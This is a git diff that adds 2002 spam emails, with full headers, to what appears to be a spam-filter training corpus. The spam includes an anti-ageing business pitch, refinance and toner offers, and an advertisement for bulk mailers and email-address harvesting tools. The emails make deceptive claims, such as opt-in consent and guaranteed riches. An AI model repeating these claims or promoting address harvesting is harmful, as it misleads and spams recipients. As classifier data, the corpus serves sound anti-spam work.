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    + + diff --git a/bayes/spamham/spam_2/00773.1ef75674804a6206f957afddcb5ed0c1 b/bayes/spamham/spam_2/00773.1ef75674804a6206f957afddcb5ed0c1 new file mode 100644 index 0000000..1c74d5c --- /dev/null +++ b/bayes/spamham/spam_2/00773.1ef75674804a6206f957afddcb5ed0c1 @@ -0,0 +1,257 @@ +From ztoYSfJLcsupA@microsoft.com Fri Jul 19 16:02:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A9163440CD + for ; Fri, 19 Jul 2002 11:02:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:02:24 +0100 (IST) +Received: from p3-1g (54.c153.ethome.net.tw [202.178.153.54]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6JEvdJ06437 for + ; Fri, 19 Jul 2002 15:57:41 +0100 +Date: Fri, 19 Jul 2002 15:57:41 +0100 +Received: from ksmail by yahoo.com with SMTP id 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b/bayes/spamham/spam_2/00774.bb00990ae11efeabd677cc2935f2281f @@ -0,0 +1,1363 @@ +From fork-admin@xent.com Fri Jul 19 15:05:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 09DA443FB7 + for ; Fri, 19 Jul 2002 10:05:52 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:05:52 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JE52J02555 for ; + Fri, 19 Jul 2002 15:05:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8E47F2940A5; Fri, 19 Jul 2002 06:55:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from zephers.com (unknown [63.218.225.157]) by xent.com + (Postfix) with SMTP id C16F5294098 for ; Fri, + 19 Jul 2002 06:54:58 -0700 (PDT) +X-Sender: vanity@zephers.com +From: vanity@zephers.com +Received: from zephers.com by 1IPR7CCT4G7S17.zephers.com with SMTP for + fork@xent.com; Fri, 19 Jul 2002 10:03:47 -0500 +Importance: $KWH_IMP +Date: Fri, 19 Jul 2002 10:03:47 -0500 +X-Msmail-Priority: $KWH_XMSP +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Reply-To: lookinggood@zephers.com +X-Priority: 3 +X-Encoding: MIME +X-Mailer: Microsoft Outlook Express, Build 5.2.4600 +Subject: LOOKING FOR LEADERS IN YOUR AREA +Message-Id: <03887N5.2G0T7J9L8H0.vanity@zephers.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: multipart/alternative; boundary="----=_NextPart_244_43836275737818467044071" + +This is a multi-part message in MIME format. + +------=_NextPart_244_43836275737818467044071 +Content-Type: text/plain; + charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + + += + + += + + += + + += + + += + + += + + += + + += + + += + +HOW DO I PROFIT FROM THE BOOMERS += + + += + + += + + += + + += + + += + + += + +
    += + + += + +

    HOW += + +DO I PROFIT FROM THE
    += + +90 MILLION BABY BOOMERS ?

    += + + += + +

    --------------------------------------------------------= +--------------------------------------------------------
    += + +
    += + +

    += + + += + +

    Become an EXCLUSIVE PROVIDER of a
    += + +“LOOK YOUNGER” PRODUCT
    += + +that the Boomers WANT !
    += + +
    += + +    Provide += + +a PATENTED product that successfully addresses
    += + +Wrinkles, Dark Circles, Age Spots, Fine Lines, Cellulite, = +Spider += + +Veins, and MORE !
    += + +
    += + +Provide += + +an AFFORDABLE, HEALTHY product that
    += + +shows FAST RESULTS on the OUTSIDE of the body
    += + +while providing the proven benefits of
    += + +SUPER ANTIOXIDANTS at the cellular level !
    += + +
    += + +------------------------------------------------------------------------------= +----------------------------------
    += + +
    += + +We = +ALL += + +know that
    += + +VANITY SELLS !
    += + +    ---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +WHY += + +NOT
    += + +    LOOK TEN YEARS YOUNGER and GET PAID FOR IT ?= +
    += + +    ---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +THIS += + +“BOOMER” PHENOMENON IS HAPPENING
    += + +WITH or WITHOUT
    += + +YOU or ME …
    += + +
    += + +THIS RECEPTIVE MARKETPLACE WILL CREATE
    += + +    MILLIONAIRES !!!
    += + +
    += + +    WHY NOT BE ONE OF THEM ?
    += + +---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +CLICK HERE
    += + +    with = +“I’m Your Leader” or “Product = +Only” in the Subject Line
    += + +
    += + +    You Will be emailed information sufficient for you to make an += + +Educated Business Decision as to whether this phenomenon is something you = +want += + +to pursue or not …
    += + +NO HYPE / NO OBLIGATION
    += + +
    += + +

    += + + += + +

     

    += + + += + +

    ---------------------------------------------------------------= +-------------------------------------------------------------------

    += + + += + +

    Your += + +email address was obtained from an opt-in list.  If you wish to unsubscribe from this list please Click on = +“REMOVE += + +ME”, below, and Click send.
    += + +TO BE REMOVED:  PLEASE DO NOT += + +CLICK ON THE “REPLY” BUTTON…
    += + +JUST CLICK HERE AT     REMOVE ME with "REMOVE ME" += + +in Subject Line. You will be immediately and permanently removed from this += + +database, and please accept our apologies for any inconvenience. BEST OF += + +SUCCESS IN WHATEVER YOU CHOOSE TO DO IN LIFE!
    += + +    -----------------------------------------------------------------------= +-----------------------------------------------------------

    += + + += + +
    += + + += + + += + + += + + += + + + + +------=_NextPart_244_43836275737818467044071 +Content-Type: text/html; + charset="us-ascii" +Content-Transfer-Encoding: Quoted-Printable + + += + + += + + += + + += + + += + + += + + += + + += + + += + +HOW DO I PROFIT FROM THE BOOMERS += + + += + + += + + += + + += + + += + + += + +
    += + + += + +

    HOW += + +DO I PROFIT FROM THE
    += + +90 MILLION BABY BOOMERS ?

    += + + += + +

    --------------------------------------------------------= +--------------------------------------------------------
    += + +
    += + +

    += + + += + +

    Become an EXCLUSIVE PROVIDER of a
    += + +“LOOK YOUNGER” PRODUCT
    += + +that the Boomers WANT !
    += + +
    += + +    Provide += + +a PATENTED product that successfully addresses
    += + +Wrinkles, Dark Circles, Age Spots, Fine Lines, Cellulite, = +Spider += + +Veins, and MORE !
    += + +
    += + +Provide += + +an AFFORDABLE, HEALTHY product that
    += + +shows FAST RESULTS on the OUTSIDE of the body
    += + +while providing the proven benefits of
    += + +SUPER ANTIOXIDANTS at the cellular level !
    += + +
    += + +------------------------------------------------------------------------------= +----------------------------------
    += + +
    += + +We = +ALL += + +know that
    += + +VANITY SELLS !
    += + +    ---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +WHY += + +NOT
    += + +    LOOK TEN YEARS YOUNGER and GET PAID FOR IT ?= +
    += + +    ---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +THIS += + +“BOOMER” PHENOMENON IS HAPPENING
    += + +WITH or WITHOUT
    += + +YOU or ME …
    += + +
    += + +THIS RECEPTIVE MARKETPLACE WILL CREATE
    += + +    MILLIONAIRES !!!
    += + +
    += + +    WHY NOT BE ONE OF THEM ?
    += + +---------------------------------------------------------= +-------------------------------------------------------
    += + +
    += + +CLICK HERE
    += + +    with = +“I’m Your Leader” or “Product = +Only” in the Subject Line
    += + +
    += + +    You Will be emailed information sufficient for you to make an += + +Educated Business Decision as to whether this phenomenon is something you = +want += + +to pursue or not …
    += + +NO HYPE / NO OBLIGATION
    += + +
    += + +

    += + + += + +

     

    += + + += + +

    ---------------------------------------------------------------= +-------------------------------------------------------------------

    += + + += + +

    Your += + +email address was obtained from an opt-in list.  If you wish to unsubscribe from this list please Click on = +“REMOVE += + +ME”, below, and Click send.
    += + +TO BE REMOVED:  PLEASE DO NOT += + +CLICK ON THE “REPLY” BUTTON…
    += + +JUST CLICK HERE AT     REMOVE ME with "REMOVE ME" += + +in Subject Line. You will be immediately and permanently removed from this += + +database, and please accept our apologies for any inconvenience. BEST OF += + +SUCCESS IN WHATEVER YOU CHOOSE TO DO IN LIFE!
    += + +    -----------------------------------------------------------------------= +-----------------------------------------------------------

    += + + += + +
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+6faC0tgvV2+Zz70MSVlYhvNVSFjHCBLIOpz8oppXFKSRlyNNeS7pMyN2UDgfStLJGLlKWiLMOl3D +8sBGPek5WBUm9y0mkRDG+Rm+nFLnZapLqWhZWwTZ5Kke/Wpu9i1FDVs/KOYJ5Yx6Z3D8jSduqDlf +QJROBzBDMPb5TUeyj3Bt9is32Njtmja3f0ZePzqXTkibxYjaYrjdC0bj2qOaw3T7FWW0aPqF/I1S +Zm4tEDLt67fypkDeP9mmAnHtTEJx7UAJQAUCEoAKYHUsqtwyhvqM1SZ17lWfS7S4BDRBSe68U7gl +YqeXNpJGy4MsJ/5ZuOn0OaRROI441ztzErecI+wJHT6Z5oERrDNqfzS3BSL/AJ5oMfme9MllqHT7 +aAYEYYju3NFw5UiwAF4UAD2FIoKACgAoAKACgAPIweRQBE9rA/WMKfVflP6U7kuKIZIprZdyXLMo +/hkG6p5IyE7x6kMd0lyxRoFDf3gf6VEqfLswUubdFW7hCNwalGclYqY96szEx70AJQAlAgpgFAH/ +2Q== + +------=_NextPart_000_002D_01C22F7E.50ED29E0-- + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00778.90e72cda6e62435fc03e4d91bbf78ca9 b/bayes/spamham/spam_2/00778.90e72cda6e62435fc03e4d91bbf78ca9 new file mode 100644 index 0000000..cd8db9a --- /dev/null +++ b/bayes/spamham/spam_2/00778.90e72cda6e62435fc03e4d91bbf78ca9 @@ -0,0 +1,75 @@ +From two_naomi091667@excite.com Fri Jul 19 08:07:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A730C43F90 + for ; Fri, 19 Jul 2002 03:06:07 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 08:06:07 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6J6vlJ31351 for + ; Fri, 19 Jul 2002 07:57:47 +0100 +Received: from mail.arnoldsearch.com (64-58-162-10.cbi.cox-oc.net + [64.58.162.10] (may be forged)) by mandark.labs.netnoteinc.com + (8.11.6/8.11.6) with ESMTP id g6J6vjR22437 for ; + Fri, 19 Jul 2002 07:57:46 +0100 +Received: from smtp-gw-4.msn.com (65-86-42-98.client.dsl.net + [65.86.42.98]) by mail.arnoldsearch.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id PGCJQQTR; Thu, + 18 Jul 2002 23:31:51 -0700 +Message-Id: <00006fee40e4$000018c4$00001f78@smtp-gw-4.msn.com> +To: +From: "Anthony Hamilton" +Subject: Save $30k even if you've refi'd 3821 +Date: Thu, 18 Jul 2002 23:17:24 -1900 +MIME-Version: 1.0 +Reply-To: two_naomi091667@excite.com +X-Mailer: AOL 7.0 for Windows US sub 118 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + +

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    +click he= +re +to be removed from our mailing list. + diff --git a/bayes/spamham/spam_2/00781.8657bfadc87dd7fbcb174982f2c9d34e b/bayes/spamham/spam_2/00781.8657bfadc87dd7fbcb174982f2c9d34e new file mode 100644 index 0000000..9a6e2cc --- /dev/null +++ b/bayes/spamham/spam_2/00781.8657bfadc87dd7fbcb174982f2c9d34e @@ -0,0 +1,114 @@ +From fork-admin@xent.com Fri Jul 19 13:36:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D68043FB1 + for ; Fri, 19 Jul 2002 08:36:56 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 13:36:56 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6JCX8J27570 for ; + Fri, 19 Jul 2002 13:33:12 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B20422940A6; Fri, 19 Jul 2002 05:22:57 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.tj-nec.com.cn (unknown [211.94.206.17]) by xent.com + (Postfix) with ESMTP id 770D4294098 for ; Fri, + 19 Jul 2002 05:22:55 -0700 (PDT) +Received: from mx1.mail.yahoo.com ([172.192.235.43]) by mail.tj-nec.com.cn + (Lotus Domino Release 5.0.6a) with ESMTP id 2002071916252180:5035 ; + Fri, 19 Jul 2002 16:25:21 +0800 +Message-Id: <0000253a6ea8$00003a5a$000001fd@mx1.mail.yahoo.com> +To: +Cc: , , , + , , , + +From: "Caroline" +Subject: Toners and inkjet cartridges for less.... T +Date: Fri, 19 Jul 2002 01:25:41 -1900 +MIME-Version: 1.0 +Reply-To: mo5sitw9s568@yahoo.com +X-Mimetrack: Itemize by SMTP Server on mail/Tj-Nec(Release 5.0.6a |January + 17, 2001) at 2002-07-19 16:25:22, Serialize by Router on mail/Tj-Nec(Release + 5.0.6a |January 17, 2001) at 2002-07-19 20:32:58, Serialize complete at + 2002-07-19 20:32:58 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +
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    + +derekw + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00782.1a0cff70694be0ab6f02dbee8b5b482e b/bayes/spamham/spam_2/00782.1a0cff70694be0ab6f02dbee8b5b482e new file mode 100644 index 0000000..b42278e --- /dev/null +++ b/bayes/spamham/spam_2/00782.1a0cff70694be0ab6f02dbee8b5b482e @@ -0,0 +1,194 @@ +From targetemailextractor@btamail.net.cn Fri Jul 19 22:02:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B835E440C8 + for ; Fri, 19 Jul 2002 17:02:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 22:02:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JL02J03106 for + ; Fri, 19 Jul 2002 22:00:02 +0100 +Received: from localhost.com ([61.174.203.44]) by webnote.net + (8.9.3/8.9.3) with SMTP id VAA21625 for ; Fri, + 19 Jul 2002 21:59:57 +0100 +From: targetemailextractor@btamail.net.cn +Message-Id: <200207192059.VAA21625@webnote.net> +Reply-To: targetemailextractor@btamail.net.cn +To: yyyy-cv@spamassassin.taint.org +Date: Sat, 20 Jul 2002 04:59:59 +0800 +Subject: ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +=3CBODY bgColor=3D#ffffff=3E +=3CDIV=3E=3CFONT size=3D2=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E =3B=3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email +Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the +rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast +sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP +server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail +Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or +Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport +multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an +easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CA +href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload +Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist +Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail +lists verifying=2E The main task is to determine which of addresses in the mail +list are dead=2E The program is oriented=2C basically=2C on programmers which have +their own mail lists to inform their users about new versions of their +programs=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems +do=2E Mail servers addresses for specified address are extracted from DNS=2E The +program tries to connect with found SMTP-servers and simulates the sending of +message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect +as soon as mail server informs does this address exist or not=2E EMV can +find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail +systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message +back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E +=3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email +Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet +simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out +fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails +details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E +About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per +hour=2E=22=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address +Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E +=3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use +email address collector available on the =3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT +color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is +designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the +Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server +and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires +very few resources=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able +to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the +world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email +addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which +limit you to one or two search engines and are unable=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E +Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you +serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E +=3CUL=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any + other email address collector program available=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search + engines =3B=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be + searched=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through + =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server + and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages + simultaneously=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit + the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT + color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any + time=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the + Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address +Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CUL=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Eis a 32 bit Windows Program for e-mail + marketing=2E It is intended for easy and convenient=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3E =3Bsearch large + e-mail address lists from mail servers=2E The program can be operated + on =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3EWindows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Esupport multi-threads =28up to 1024 + connections=29=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas the ability =3B to reconnect to the + mail server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching + at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to + set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial +size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E +=3CUL type=3Ddisc=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport + multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server + address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail + Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use + interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist +Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a +complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B +=3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail +Blaster 